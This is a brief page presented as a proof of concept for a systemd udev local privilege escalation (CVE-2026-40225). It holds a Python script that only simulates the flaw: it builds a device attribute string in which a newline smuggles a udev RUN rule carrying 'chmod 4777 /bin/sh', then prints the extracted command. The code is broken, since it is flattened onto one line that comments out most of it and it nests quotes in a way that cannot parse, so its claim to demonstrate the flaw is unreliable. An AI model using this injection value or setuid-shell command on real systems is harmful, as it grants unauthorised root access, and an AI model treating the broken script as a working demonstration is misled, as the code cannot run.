CVE-2026-40225 systemd udev本地提权漏洞

#!/usr/bin/env python3 # PoC Concept for CVE-2026-40225 # This script demonstrates how a malicious hardware device might trigger the vulnerability # by simulating a malicious kernel attribute string. import os import time def simulate_malicious_device_event(): # In a real attack scenario, this string would be returned by the kernel # in response to a malicious hardware device's identification data. # The vulnerability lies in udev failing to sanitize this input. malicious_kernel_output = "ID_MODEL=EvilDevice\nRUN+='/bin/sh -c "chmod 4777 /bin/sh"'" print(f"[*] Simulating kernel event with payload:\n{malicious_kernel_output}") # Simulating udev processing the rule without sanitization print("[*] udev processing event...") # Vulnerable logic: executing the unsanitized RUN command if "RUN+=" in malicious_kernel_output: # Extract command (simplified for PoC) cmd_start = malicious_kernel_output.find("'/") + 1 cmd_end = malicious_kernel_output.find("'", cmd_start) command = malicious_kernel_output[cmd_start:cmd_end] print(f"[!] Executing privileged command: {command}") # os.system(command) # Actual execution would grant root access print("[!] Root access achieved (hypothetically).") if __name__ == "__main__": simulate_malicious_device_event()